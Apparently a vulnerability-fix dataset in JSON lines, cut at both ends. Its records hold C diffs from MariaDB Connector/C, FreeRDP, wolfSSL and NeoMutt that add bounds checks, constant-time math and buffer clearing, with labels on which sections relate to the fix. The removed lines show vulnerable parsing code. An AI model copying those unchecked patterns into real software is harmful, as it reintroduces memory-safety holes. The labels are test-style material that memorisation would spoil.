-1;\n+\n+corrupted:\n+ ma_clear_session_state(mysql);\n+ SET_CLIENT_ERROR(mysql, CR_MALFORMED_PACKET, SQLSTATE_UNKNOWN, 0);\n+ return -1;\n }\n \n int mthd_my_read_query_result(MYSQL *mysql)", "sections": [{"section": "@@ -81,6 +81,8 @@\n #define ASYNC_CONTEXT_DEFAULT_STACK_SIZE (4096*15)\n #define MA_RPL_VERSION_HACK \"5.5.5-\"\n \n+#define CHARSET_NAME_LEN 64\n+\n #undef max_allowed_packet\n #undef net_buffer_length\n extern ulong max_allowed_packet; /* net.c */\n", "related": false}, {"section": "@@ -2139,17 +2141,22 @@ mysql_send_query(MYSQL* mysql, const char* query, unsigned long length)\n \n int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n {\n+ uchar *end= mysql->net.read_pos+length;\n size_t item_len;\n mysql->affected_rows= net_field_length_ll(&pos);\n mysql->insert_id=\t net_field_length_ll(&pos);\n mysql->server_status=uint2korr(pos);\n pos+=2;\n mysql->warning_count=uint2korr(pos);\n pos+=2;\n- if (pos < mysql->net.read_pos+length)\n+ if (pos > end)\n+ goto corrupted;\n+ if (pos < end)\n {\n if ((item_len= net_field_length(&pos)))\n mysql->info=(char*) pos;\n+ if (pos + item_len > end)\n+ goto corrupted;\n \n /* check if server supports session tracking */\n if (mysql->server_capabilities & CLIENT_SESSION_TRACKING)\n", "related": false}, {"section": "@@ -2160,23 +2167,26 @@ int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n if (mysql->server_status & SERVER_SESSION_STATE_CHANGED)\n {\n int i;\n- if (pos < mysql->net.read_pos + length)\n+ if (pos < end)\n {\n LIST *session_item;\n MYSQL_LEX_STRING *str= NULL;\n enum enum_session_state_type si_type;\n uchar *old_pos= pos;\n- size_t item_len= net_field_length(&pos); /* length for all items */\n+\n+ item_len= net_field_length(&pos); /* length for all items */\n+ if (pos + item_len > end)\n+ goto corrupted;\n+ end= pos + item_len;\n \n /* length was already set, so make sure that info will be zero terminated */\n if (mysql->info)\n *old_pos= 0;\n \n- while (item_len > 0)\n+ while (pos < end)\n {\n size_t plen;\n char *data;\n- old_pos= pos;\n si_type= (enum enum_session_state_type)net_field_length(&pos);\n switch(si_type) {\n case SESSION_TRACK_SCHEMA:\n", "related": false}, {"section": "@@ -2186,16 +2196,14 @@ int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n if (si_type != SESSION_TRACK_STATE_CHANGE)\n net_field_length(&pos); /* ignore total length, item length will follow next */\n plen= net_field_length(&pos);\n+ if (pos + plen > end)\n+ goto corrupted;\n if (!(session_item= ma_multi_malloc(0,\n &session_item, sizeof(LIST),\n &str, sizeof(MYSQL_LEX_STRING),\n &data, plen,\n NULL)))\n- {\n- ma_clear_session_state(mysql);\n- SET_CLIENT_ERROR(mysql, CR_OUT_OF_MEMORY, SQLSTATE_UNKNOWN, 0);\n- return -1;\n- }\n+ goto oom;\n str->length= plen;\n str->str= data;\n memcpy(str->str, (char *)pos, plen);\n", "related": false}, {"section": "@@ -2218,41 +2226,40 @@ int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n if (!strncmp(str->str, \"character_set_client\", str->length))\n set_charset= 1;\n plen= net_field_length(&pos);\n+ if (pos + plen > end)\n+ goto corrupted;\n if (!(session_item= ma_multi_malloc(0,\n &session_item, sizeof(LIST),\n &str, sizeof(MYSQL_LEX_STRING),\n &data, plen,\n NULL)))\n- {\n- ma_clear_session_state(mysql);\n- SET_CLIENT_ERROR(mysql, CR_OUT_OF_MEMORY, SQLSTATE_UNKNOWN, 0);\n- return -1;\n- }\n+ goto oom;\n str->length= plen;\n str->str= data;\n memcpy(str->str, (char *)pos, plen);\n pos+= plen;\n session_item->data= str;\n mysql->extension->session_state[si_type].list= list_add(mysql->extension->session_state[si_type].list, session_item);\n- if (set_charset &&\n+ if (set_charset && str->length < CHARSET_NAME_LEN &&\n strncmp(mysql->charset->csname, str->str, str->length) != 0)\n {\n- char cs_name[64];\n- MARIADB_CHARSET_INFO *cs_info;\n+ char cs_name[CHARSET_NAME_LEN];\n+ const MARIADB_CHARSET_INFO *cs_info;\n memcpy(cs_name, str->str, str->length);\n cs_name[str->length]= 0;\n- if ((cs_info = (MARIADB_CHARSET_INFO *)mysql_find_charset_name(cs_name)))\n+ if ((cs_info = mysql_find_charset_name(cs_name)))\n mysql->charset= cs_info;\n }\n }\n break;\n default:\n /* not supported yet */\n plen= net_field_length(&pos);\n+ if (pos + plen > end)\n+ goto corrupted;\n pos+= plen;\n break;\n }\n- item_len-= (pos - old_pos);\n }\n }\n for (i= SESSION_TRACK_BEGIN; i <= SESSION_TRACK_END; i++)\n", "related": false}, {"section": "@@ -2267,6 +2274,16 @@ int ma_read_ok_packet(MYSQL *mysql, uchar *pos, ulong length)\n else if (mysql->server_capabilities & CLIENT_SESSION_TRACKING)\n ma_clear_session_state(mysql);\n return(0);\n+\n+oom:\n+ ma_clear_session_state(mysql);\n+ SET_CLIENT_ERROR(mysql, CR_OUT_OF_MEMORY, SQLSTATE_UNKNOWN, 0);\n+ return -1;\n+\n+corrupted:\n+ ma_clear_session_state(mysql);\n+ SET_CLIENT_ERROR(mysql, CR_MALFORMED_PACKET, SQLSTATE_UNKNOWN, 0);\n+ return -1;\n }\n \n int mthd_my_read_query_result(MYSQL *mysql)", "related": false}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "client/X11/xf_graphics.c", "commit_id": "f02375e4ecbee752b40bed7bb08a0454f83e0bff", "commit_message": "[client,x11] remove hardware bitmap", "patch": "@@ -98,139 +98,6 @@ BOOL xf_decode_color(xfContext* xfc, const UINT32 srcColor, XColor* color)\n \treturn TRUE;\n }\n \n-/* Bitmap Class */\n-static BOOL xf_Bitmap_New(rdpContext* context, rdpBitmap* bitmap)\n-{\n-\tBOOL rc = FALSE;\n-\tUINT32 depth;\n-\tBYTE* data;\n-\trdpGdi* gdi;\n-\txfBitmap* xbitmap = (xfBitmap*)bitmap;\n-\txfContext* xfc = (xfContext*)context;\n-\n-\tif (!context || !bitmap || !context->gdi)\n-\t\treturn FALSE;\n-\n-\tgdi = context->gdi;\n-\txf_lock_x11(xfc);\n-\tdepth = FreeRDPGetBitsPerPixel(bitmap->format);\n-\n-\tWINPR_ASSERT(xfc->depth != 0);\n-\txbitmap->pixmap =\n-\t XCreatePixmap(xfc->display, xfc->drawable, bitmap->width, bitmap->height, xfc->depth);\n-\n-\tif (!xbitmap->pixmap)\n-\t\tgoto unlock;\n-\n-\tif (bitmap->data)\n-\t{\n-\t\tXSetFunction(xfc->display, xfc->gc, GXcopy);\n-\n-\t\tif ((INT64)depth != xfc->depth)\n-\t\t{\n-\t\t\tif (!(data = winpr_aligned_malloc(bitmap->width * bitmap->height * 4ULL, 16)))\n-\t\t\t\tgoto unlock;\n-\n-\t\t\tif (!freerdp_image_copy(data, gdi->dstFormat, 0, 0, 0, bitmap->width, bitmap->height,\n-\t\t\t bitmap->data, bitmap->format, 0, 0, 0, &context->gdi->palette,\n-\t\t\t FREERDP_FLIP_NONE))\n-\t\t\t{\n-\t\t\t\twinpr_aligned_free(data);\n-\t\t\t\tgoto unlock;\n-\t\t\t}\n-\n-\t\t\twinpr_aligned_free(bitmap->data);\n-\t\t\tbitmap->data = data;\n-\t\t\tbitmap->format = gdi->dstFormat;\n-\t\t}\n-\n-\t\tWINPR_ASSERT(xfc->depth != 0);\n-\t\txbitmap->image =\n-\t\t XCreateImage(xfc->display, xfc->visual, xfc->depth, ZPixmap, 0, (char*)bitmap->data,\n-\t\t bitmap->width, bitmap->height, xfc->scanline_pad, 0);\n-\n-\t\tif (!xbitmap->image)\n-\t\t\tgoto unlock;\n-\n-\t\txbitmap->image->byte_order = LSBFirst;\n-\t\txbitmap->image->bitmap_bit_order = LSBFirst;\n-\t\tXPutImage(xfc->display, xbitmap->pixmap, xfc->gc, xbitmap->image, 0, 0, 0, 0, bitmap->width,\n-\t\t bitmap->height);\n-\t}\n-\n-\trc = TRUE;\n-unlock:\n-\txf_unlock_x11(xfc);\n-\treturn rc;\n-}\n-\n-static void xf_Bitmap_Free(rdpContext* context, rdpBitmap* bitmap)\n-{\n-\txfContext* xfc = (xfContext*)context;\n-\txfBitmap* xbitmap = (xfBitmap*)bitmap;\n-\n-\tif (!xfc || !xbitmap)\n-\t\treturn;\n-\n-\txf_lock_x11(xfc);\n-\n-\tif (xbitmap->pixmap != 0)\n-\t{\n-\t\tXFreePixmap(xfc->display, xbitmap->pixmap);\n-\t\txbitmap->pixmap = 0;\n-\t}\n-\n-\tif (xbitmap->image)\n-\t{\n-\t\txbitmap->image->data = NULL;\n-\t\tXDestroyImage(xbitmap->image);\n-\t\txbitmap->image = NULL;\n-\t}\n-\n-\txf_unlock_x11(xfc);\n-\twinpr_aligned_free(bitmap->data);\n-\tfree(xbitmap);\n-}\n-\n-static BOOL xf_Bitmap_Paint(rdpContext* context, rdpBitmap* bitmap)\n-{\n-\tint width, height;\n-\txfContext* xfc = (xfContext*)context;\n-\txfBitmap* xbitmap = (xfBitmap*)bitmap;\n-\tBOOL ret;\n-\n-\tif (!context || !xbitmap)\n-\t\treturn FALSE;\n-\n-\twidth = bitmap->right - bitmap->left + 1;\n-\theight = bitmap->bottom - bitmap->top + 1;\n-\txf_lock_x11(xfc);\n-\tXSetFunction(xfc->display, xfc->gc, GXcopy);\n-\tXPutImage(xfc->display, xfc->primary, xfc->gc, xbitmap->image, 0, 0, bitmap->left, bitmap->top,\n-\t width, height);\n-\tret = gdi_InvalidateRegion(xfc->hdc, bitmap->left, bitmap->top, width, height);\n-\txf_unlock_x11(xfc);\n-\treturn ret;\n-}\n-\n-static BOOL xf_Bitmap_SetSurface(rdpContext* context, rdpBitmap* bitmap, BOOL primary)\n-{\n-\txfContext* xfc = (xfContext*)context;\n-\n-\tif (!context || (!bitmap && !primary))\n-\t\treturn FALSE;\n-\n-\txf_lock_x11(xfc);\n-\n-\tif (primary)\n-\t\txfc->drawing = xfc->primary;\n-\telse\n-\t\txfc->drawing = ((xfBitmap*)bitmap)->pixmap;\n-\n-\txf_unlock_x11(xfc);\n-\treturn TRUE;\n-}\n-\n static BOOL xf_Pointer_GetCursorForCurrentScale(rdpContext* context, rdpPointer* pointer,\n Cursor* cursor)\n {\n@@ -630,23 +497,6 @@ BOOL xf_register_pointer(rdpGraphics* graphics)\n \treturn TRUE;\n }\n \n-BOOL xf_register_graphics(rdpGraphics* graphics)\n-{\n-\trdpBitmap bitmap;\n-\n-\tif (!graphics || !graphics->Bitmap_Prototype || !graphics->Glyph_Prototype)\n-\t\treturn FALSE;\n-\n-\tbitmap = *graphics->Bitmap_Prototype;\n-\tbitmap.size = sizeof(xfBitmap);\n-\tbitmap.New = xf_Bitmap_New;\n-\tbitmap.Free = xf_Bitmap_Free;\n-\tbitmap.Paint = xf_Bitmap_Paint;\n-\tbitmap.SetSurface = xf_Bitmap_SetSurface;\n-\tgraphics_register_bitmap(graphics, &bitmap);\n-\treturn TRUE;\n-}\n-\n UINT32 xf_get_local_color_format(xfContext* xfc, BOOL aligned)\n {\n \tUINT32 DstFormat;", "sections": [{"section": "@@ -98,139 +98,6 @@ BOOL xf_decode_color(xfContext* xfc, const UINT32 srcColor, XColor* color)\n \treturn TRUE;\n }\n \n-/* Bitmap Class */\n-static BOOL xf_Bitmap_New(rdpContext* context, rdpBitmap* bitmap)\n-{\n-\tBOOL rc = FALSE;\n-\tUINT32 depth;\n-\tBYTE* data;\n-\trdpGdi* gdi;\n-\txfBitmap* xbitmap = (xfBitmap*)bitmap;\n-\txfContext* xfc = (xfContext*)context;\n-\n-\tif (!context || !bitmap || !context->gdi)\n-\t\treturn FALSE;\n-\n-\tgdi = context->gdi;\n-\txf_lock_x11(xfc);\n-\tdepth = FreeRDPGetBitsPerPixel(bitmap->format);\n-\n-\tWINPR_ASSERT(xfc->depth != 0);\n-\txbitmap->pixmap =\n-\t XCreatePixmap(xfc->display, xfc->drawable, bitmap->width, bitmap->height, xfc->depth);\n-\n-\tif (!xbitmap->pixmap)\n-\t\tgoto unlock;\n-\n-\tif (bitmap->data)\n-\t{\n-\t\tXSetFunction(xfc->display, xfc->gc, GXcopy);\n-\n-\t\tif ((INT64)depth != xfc->depth)\n-\t\t{\n-\t\t\tif (!(data = winpr_aligned_malloc(bitmap->width * bitmap->height * 4ULL, 16)))\n-\t\t\t\tgoto unlock;\n-\n-\t\t\tif (!freerdp_image_copy(data, gdi->dstFormat, 0, 0, 0, bitmap->width, bitmap->height,\n-\t\t\t bitmap->data, bitmap->format, 0, 0, 0, &context->gdi->palette,\n-\t\t\t FREERDP_FLIP_NONE))\n-\t\t\t{\n-\t\t\t\twinpr_aligned_free(data);\n-\t\t\t\tgoto unlock;\n-\t\t\t}\n-\n-\t\t\twinpr_aligned_free(bitmap->data);\n-\t\t\tbitmap->data = data;\n-\t\t\tbitmap->format = gdi->dstFormat;\n-\t\t}\n-\n-\t\tWINPR_ASSERT(xfc->depth != 0);\n-\t\txbitmap->image =\n-\t\t XCreateImage(xfc->display, xfc->visual, xfc->depth, ZPixmap, 0, (char*)bitmap->data,\n-\t\t bitmap->width, bitmap->height, xfc->scanline_pad, 0);\n-\n-\t\tif (!xbitmap->image)\n-\t\t\tgoto unlock;\n-\n-\t\txbitmap->image->byte_order = LSBFirst;\n-\t\txbitmap->image->bitmap_bit_order = LSBFirst;\n-\t\tXPutImage(xfc->display, xbitmap->pixmap, xfc->gc, xbitmap->image, 0, 0, 0, 0, bitmap->width,\n-\t\t bitmap->height);\n-\t}\n-\n-\trc = TRUE;\n-unlock:\n-\txf_unlock_x11(xfc);\n-\treturn rc;\n-}\n-\n-static void xf_Bitmap_Free(rdpContext* context, rdpBitmap* bitmap)\n-{\n-\txfContext* xfc = (xfContext*)context;\n-\txfBitmap* xbitmap = (xfBitmap*)bitmap;\n-\n-\tif (!xfc || !xbitmap)\n-\t\treturn;\n-\n-\txf_lock_x11(xfc);\n-\n-\tif (xbitmap->pixmap != 0)\n-\t{\n-\t\tXFreePixmap(xfc->display, xbitmap->pixmap);\n-\t\txbitmap->pixmap = 0;\n-\t}\n-\n-\tif (xbitmap->image)\n-\t{\n-\t\txbitmap->image->data = NULL;\n-\t\tXDestroyImage(xbitmap->image);\n-\t\txbitmap->image = NULL;\n-\t}\n-\n-\txf_unlock_x11(xfc);\n-\twinpr_aligned_free(bitmap->data);\n-\tfree(xbitmap);\n-}\n-\n-static BOOL xf_Bitmap_Paint(rdpContext* context, rdpBitmap* bitmap)\n-{\n-\tint width, height;\n-\txfContext* xfc = (xfContext*)context;\n-\txfBitmap* xbitmap = (xfBitmap*)bitmap;\n-\tBOOL ret;\n-\n-\tif (!context || !xbitmap)\n-\t\treturn FALSE;\n-\n-\twidth = bitmap->right - bitmap->left + 1;\n-\theight = bitmap->bottom - bitmap->top + 1;\n-\txf_lock_x11(xfc);\n-\tXSetFunction(xfc->display, xfc->gc, GXcopy);\n-\tXPutImage(xfc->display, xfc->primary, xfc->gc, xbitmap->image, 0, 0, bitmap->left, bitmap->top,\n-\t width, height);\n-\tret = gdi_InvalidateRegion(xfc->hdc, bitmap->left, bitmap->top, width, height);\n-\txf_unlock_x11(xfc);\n-\treturn ret;\n-}\n-\n-static BOOL xf_Bitmap_SetSurface(rdpContext* context, rdpBitmap* bitmap, BOOL primary)\n-{\n-\txfContext* xfc = (xfContext*)context;\n-\n-\tif (!context || (!bitmap && !primary))\n-\t\treturn FALSE;\n-\n-\txf_lock_x11(xfc);\n-\n-\tif (primary)\n-\t\txfc->drawing = xfc->primary;\n-\telse\n-\t\txfc->drawing = ((xfBitmap*)bitmap)->pixmap;\n-\n-\txf_unlock_x11(xfc);\n-\treturn TRUE;\n-}\n-\n static BOOL xf_Pointer_GetCursorForCurrentScale(rdpContext* context, rdpPointer* pointer,\n Cursor* cursor)\n {\n", "related": false}, {"section": "@@ -630,23 +497,6 @@ BOOL xf_register_pointer(rdpGraphics* graphics)\n \treturn TRUE;\n }\n \n-BOOL xf_register_graphics(rdpGraphics* graphics)\n-{\n-\trdpBitmap bitmap;\n-\n-\tif (!graphics || !graphics->Bitmap_Prototype || !graphics->Glyph_Prototype)\n-\t\treturn FALSE;\n-\n-\tbitmap = *graphics->Bitmap_Prototype;\n-\tbitmap.size = sizeof(xfBitmap);\n-\tbitmap.New = xf_Bitmap_New;\n-\tbitmap.Free = xf_Bitmap_Free;\n-\tbitmap.Paint = xf_Bitmap_Paint;\n-\tbitmap.SetSurface = xf_Bitmap_SetSurface;\n-\tgraphics_register_bitmap(graphics, &bitmap);\n-\treturn TRUE;\n-}\n-\n UINT32 xf_get_local_color_format(xfContext* xfc, BOOL aligned)\n {\n \tUINT32 DstFormat;", "related": false}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "client/X11/xfreerdp.h", "commit_id": "f02375e4ecbee752b40bed7bb08a0454f83e0bff", "commit_message": "[client,x11] remove hardware bitmap", "patch": "@@ -177,7 +177,6 @@ struct xf_context\n \tBOOL UseXThreads;\n \tBOOL cursorHidden;\n \n-\tHGDI_DC hdc;\n \tUINT32 bitmap_size;\n \tBYTE* bitmap_buffer;\n ", "sections": [{"section": "@@ -177,7 +177,6 @@ struct xf_context\n \tBOOL UseXThreads;\n \tBOOL cursorHidden;\n \n-\tHGDI_DC hdc;\n \tUINT32 bitmap_size;\n \tBYTE* bitmap_buffer;\n ", "related": false}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "libfreerdp/cache/bitmap.c", "commit_id": "c367f65d42e0d2e1ca248998175180aa9c2eacd0", "commit_message": "Merge pull request #6019 from akallabeth/bound_access_fixes\n\nFix issues with boundary access.", "patch": "@@ -281,11 +281,12 @@ rdpBitmapCache* bitmap_cache_new(rdpSettings* settings)\n \tbitmapCache->settings = settings;\n \tbitmapCache->update = ((freerdp*)settings->instance)->update;\n \tbitmapCache->context = bitmapCache->update->context;\n-\tbitmapCache->maxCells = settings->BitmapCacheV2NumCells;\n-\tbitmapCache->cells = (BITMAP_V2_CELL*)calloc(bitmapCache->maxCells, sizeof(BITMAP_V2_CELL));\n+\tbitmapCache->cells =\n+\t (BITMAP_V2_CELL*)calloc(settings->BitmapCacheV2NumCells, sizeof(BITMAP_V2_CELL));\n \n \tif (!bitmapCache->cells)\n \t\tgoto fail;\n+\tbitmapCache->maxCells = settings->BitmapCacheV2NumCells;\n \n \tfor (i = 0; i < (int)bitmapCache->maxCells; i++)\n \t{", "sections": [{"section": "@@ -281,11 +281,12 @@ rdpBitmapCache* bitmap_cache_new(rdpSettings* settings)\n \tbitmapCache->settings = settings;\n \tbitmapCache->update = ((freerdp*)settings->instance)->update;\n \tbitmapCache->context = bitmapCache->update->context;\n-\tbitmapCache->maxCells = settings->BitmapCacheV2NumCells;\n-\tbitmapCache->cells = (BITMAP_V2_CELL*)calloc(bitmapCache->maxCells, sizeof(BITMAP_V2_CELL));\n+\tbitmapCache->cells =\n+\t (BITMAP_V2_CELL*)calloc(settings->BitmapCacheV2NumCells, sizeof(BITMAP_V2_CELL));\n \n \tif (!bitmapCache->cells)\n \t\tgoto fail;\n+\tbitmapCache->maxCells = settings->BitmapCacheV2NumCells;\n \n \tfor (i = 0; i < (int)bitmapCache->maxCells; i++)\n \t{", "related": false}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "libfreerdp/core/window.c", "commit_id": "6b2bc41935e53b0034fe5948aeeab4f32e80f30f", "commit_message": "Fix #6010: Check length in read_icon_info", "patch": "@@ -136,9 +136,6 @@ static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo)\n \tStream_Read_UINT16(s, iconInfo->cbBitsMask); /* cbBitsMask (2 bytes) */\n \tStream_Read_UINT16(s, iconInfo->cbBitsColor); /* cbBitsColor (2 bytes) */\n \n-\tif (Stream_GetRemainingLength(s) < iconInfo->cbBitsMask + iconInfo->cbBitsColor)\n-\t\treturn FALSE;\n-\n \t/* bitsMask */\n \tnewBitMask = (BYTE*)realloc(iconInfo->bitsMask, iconInfo->cbBitsMask);\n \n@@ -150,6 +147,8 @@ static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo)\n \t}\n \n \ticonInfo->bitsMask = newBitMask;\n+\tif (Stream_GetRemainingLength(s) < iconInfo->cbBitsMask)\n+\t\treturn FALSE;\n \tStream_Read(s, iconInfo->bitsMask, iconInfo->cbBitsMask);\n \n \t/* colorTable */\n@@ -184,7 +183,11 @@ static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo)\n \t}\n \n \tif (iconInfo->colorTable)\n+\t{\n+\t\tif (Stream_GetRemainingLength(s) < iconInfo->cbColorTable)\n+\t\t\treturn FALSE;\n \t\tStream_Read(s, iconInfo->colorTable, iconInfo->cbColorTable);\n+\t}\n \n \t/* bitsColor */\n \tnewBitMask = (BYTE*)realloc(iconInfo->bitsColor, iconInfo->cbBitsColor);\n@@ -197,6 +200,8 @@ static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo)\n \t}\n \n \ticonInfo->bitsColor = newBitMask;\n+\tif (Stream_GetRemainingLength(s) < iconInfo->cbBitsColor)\n+\t\treturn FALSE;\n \tStream_Read(s, iconInfo->bitsColor, iconInfo->cbBitsColor);\n \treturn TRUE;\n }", "sections": [{"section": "@@ -136,9 +136,6 @@ static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo)\n \tStream_Read_UINT16(s, iconInfo->cbBitsMask); /* cbBitsMask (2 bytes) */\n \tStream_Read_UINT16(s, iconInfo->cbBitsColor); /* cbBitsColor (2 bytes) */\n \n-\tif (Stream_GetRemainingLength(s) < iconInfo->cbBitsMask + iconInfo->cbBitsColor)\n-\t\treturn FALSE;\n-\n \t/* bitsMask */\n \tnewBitMask = (BYTE*)realloc(iconInfo->bitsMask, iconInfo->cbBitsMask);\n \n", "related": true}, {"section": "@@ -150,6 +147,8 @@ static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo)\n \t}\n \n \ticonInfo->bitsMask = newBitMask;\n+\tif (Stream_GetRemainingLength(s) < iconInfo->cbBitsMask)\n+\t\treturn FALSE;\n \tStream_Read(s, iconInfo->bitsMask, iconInfo->cbBitsMask);\n \n \t/* colorTable */\n", "related": true}, {"section": "@@ -184,7 +183,11 @@ static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo)\n \t}\n \n \tif (iconInfo->colorTable)\n+\t{\n+\t\tif (Stream_GetRemainingLength(s) < iconInfo->cbColorTable)\n+\t\t\treturn FALSE;\n \t\tStream_Read(s, iconInfo->colorTable, iconInfo->cbColorTable);\n+\t}\n \n \t/* bitsColor */\n \tnewBitMask = (BYTE*)realloc(iconInfo->bitsColor, iconInfo->cbBitsColor);\n", "related": true}, {"section": "@@ -197,6 +200,8 @@ static BOOL update_read_icon_info(wStream* s, ICON_INFO* iconInfo)\n \t}\n \n \ticonInfo->bitsColor = newBitMask;\n+\tif (Stream_GetRemainingLength(s) < iconInfo->cbBitsColor)\n+\t\treturn FALSE;\n \tStream_Read(s, iconInfo->bitsColor, iconInfo->cbBitsColor);\n \treturn TRUE;\n }", "related": true}]} +{"owner": "wolfssl", "repo": "wolfssl", "language": "C", "file_name": "wolfssl/wolfcrypt/ecc.h", "commit_id": "1de07da61f0c8e9926dcbd68119f73230dae283f", "commit_message": "Constant time EC map to affine for private operations\n\nFor fast math, use a constant time modular inverse when mapping to\naffine when operation involves a private key - key gen, calc shared\nsecret, sign.", "patch": "@@ -439,6 +439,7 @@ ECC_API int ecc_mul2add(ecc_point* A, mp_int* kA,\n ecc_point* C, mp_int* a, mp_int* modulus, void* heap);\n \n ECC_API int ecc_map(ecc_point*, mp_int*, mp_digit);\n+ECC_API int ecc_map_ex(ecc_point*, mp_int*, mp_digit, int ct);\n ECC_API int ecc_projective_add_point(ecc_point* P, ecc_point* Q, ecc_point* R,\n mp_int* a, mp_int* modulus, mp_digit mp);\n ECC_API int ecc_projective_dbl_point(ecc_point* P, ecc_point* R, mp_int* a,", "sections": [{"section": "@@ -439,6 +439,7 @@ ECC_API int ecc_mul2add(ecc_point* A, mp_int* kA,\n ecc_point* C, mp_int* a, mp_int* modulus, void* heap);\n \n ECC_API int ecc_map(ecc_point*, mp_int*, mp_digit);\n+ECC_API int ecc_map_ex(ecc_point*, mp_int*, mp_digit, int ct);\n ECC_API int ecc_projective_add_point(ecc_point* P, ecc_point* Q, ecc_point* R,\n mp_int* a, mp_int* modulus, mp_digit mp);\n ECC_API int ecc_projective_dbl_point(ecc_point* P, ecc_point* R, mp_int* a,", "related": false}]} +{"owner": "freerdp", "repo": "freerdp", "language": "C", "file_name": "libfreerdp/core/license.c", "commit_id": "6ade7b4cbfd71c54b3d724e8f2d6ac76a58e879a", "commit_message": "Fixed OOB Read in license_read_new_or_upgrade_license_packet\n\nCVE-2020-11099 thanks to @antonio-morales for finding this.", "patch": "@@ -1252,6 +1252,9 @@ BOOL license_read_new_or_upgrade_license_packet(rdpLicense* license, wStream* s)\n \tif (!licenseStream)\n \t\tgoto out_free_blob;\n \n+\tif (Stream_GetRemainingLength(licenseStream) < 8)\n+\t\tgoto out_free_stream;\n+\n \tStream_Read_UINT16(licenseStream, os_minor);\n \tStream_Read_UINT16(licenseStream, os_major);\n \n@@ -1266,6 +1269,8 @@ BOOL license_read_new_or_upgrade_license_packet(rdpLicense* license, wStream* s)\n \tStream_Seek(licenseStream, cbScope);\n \n \t/* CompanyName */\n+\tif (Stream_GetRemainingLength(licenseStream) < 4)\n+\t\tgoto out_free_stream;\n \tStream_Read_UINT32(licenseStream, cbCompanyName);\n \tif (Stream_GetRemainingLength(licenseStream) < cbCompanyName)\n \t\tgoto out_free_stream;\n@@ -1276,6 +1281,8 @@ BOOL license_read_new_or_upgrade_license_packet(rdpLicense* license, wStream* s)\n \tStream_Seek(licenseStream, cbCompanyName);\n \n \t/* productId */\n+\tif (Stream_GetRemainingLength(licenseStream) < 4)\n+\t\tgoto out_free_stream;\n \tStream_Read_UINT32(licenseStream, cbProductId);\n \tif (Stream_GetRemainingLength(licenseStream) < cbProductId)\n \t\tgoto out_free_stream;\n@@ -1286,6 +1293,8 @@ BOOL license_read_new_or_upgrade_license_packet(rdpLicense* license, wStream* s)\n \tStream_Seek(licenseStream, cbProductId);\n \n \t/* licenseInfo */\n+\tif (Stream_GetRemainingLength(licenseStream) < 4)\n+\t\tgoto out_free_stream;\n \tStream_Read_UINT32(licenseStream, cbLicenseInfo);\n \tif (Stream_GetRemainingLength(licenseStream) < cbLicenseInfo)\n \t\tgoto out_free_stream;", "sections": [{"section": "@@ -1252,6 +1252,9 @@ BOOL license_read_new_or_upgrade_license_packet(rdpLicense* license, wStream* s)\n \tif (!licenseStream)\n \t\tgoto out_free_blob;\n \n+\tif (Stream_GetRemainingLength(licenseStream) < 8)\n+\t\tgoto out_free_stream;\n+\n \tStream_Read_UINT16(licenseStream, os_minor);\n \tStream_Read_UINT16(licenseStream, os_major);\n \n", "related": false}, {"section": "@@ -1266,6 +1269,8 @@ BOOL license_read_new_or_upgrade_license_packet(rdpLicense* license, wStream* s)\n \tStream_Seek(licenseStream, cbScope);\n \n \t/* CompanyName */\n+\tif (Stream_GetRemainingLength(licenseStream) < 4)\n+\t\tgoto out_free_stream;\n \tStream_Read_UINT32(licenseStream, cbCompanyName);\n \tif (Stream_GetRemainingLength(licenseStream) < cbCompanyName)\n \t\tgoto out_free_stream;\n", "related": false}, {"section": "@@ -1276,6 +1281,8 @@ BOOL license_read_new_or_upgrade_license_packet(rdpLicense* license, wStream* s)\n \tStream_Seek(licenseStream, cbCompanyName);\n \n \t/* productId */\n+\tif (Stream_GetRemainingLength(licenseStream) < 4)\n+\t\tgoto out_free_stream;\n \tStream_Read_UINT32(licenseStream, cbProductId);\n \tif (Stream_GetRemainingLength(licenseStream) < cbProductId)\n \t\tgoto out_free_stream;\n", "related": false}, {"section": "@@ -1286,6 +1293,8 @@ BOOL license_read_new_or_upgrade_license_packet(rdpLicense* license, wStream* s)\n \tStream_Seek(licenseStream, cbProductId);\n \n \t/* licenseInfo */\n+\tif (Stream_GetRemainingLength(licenseStream) < 4)\n+\t\tgoto out_free_stream;\n \tStream_Read_UINT32(licenseStream, cbLicenseInfo);\n \tif (Stream_GetRemainingLength(licenseStream) < cbLicenseInfo)\n \t\tgoto out_free_stream;", "related": false}]} +{"owner": "neomutt", "repo": "neomutt", "language": "C", "file_name": "conn/socket.c", "commit_id": "fb013ec666759cb8a9e294347c7b4c1f597639cc", "commit_message": "tls: clear data after a starttls acknowledgement\n\nAfter a starttls acknowledgement message, clear the buffers of any\nincoming data / commands. This will ensure that all future data is\nhandled securely.\n\nCo-authored-by: Pietro Cerutti ", "patch": "@@ -301,3 +301,23 @@ struct Connection *mutt_socket_new(enum ConnectionType type)\n \n return conn;\n }\n+\n+/**\n+ * mutt_socket_empty - Clear out any queued data\n+ *\n+ * The internal buffer is emptied and any data that has already arrived at this\n+ * machine (in kernel buffers) is read and dropped.\n+ */\n+void mutt_socket_empty(struct Connection *conn)\n+{\n+ if (!conn)\n+ return;\n+\n+ char buf[1024];\n+ int bytes;\n+\n+ while ((bytes = mutt_socket_poll(conn, 0)) > 0)\n+ {\n+ mutt_socket_read(conn, buf, MIN(bytes, sizeof(buf)));\n+ }\n+}", "sections": [{"section": "@@ -301,3 +301,23 @@ struct Connection *mutt_socket_new(enum ConnectionType type)\n \n return conn;\n }\n+\n+/**\n+ * mutt_socket_empty - Clear out any queued data\n+ *\n+ * The internal buffer is emptied and any data that has already arrived at this\n+ * machine (in kernel buffers) is read and dropped.\n+ */\n+void mutt_socket_empty(struct Connection *conn)\n+{\n+ if 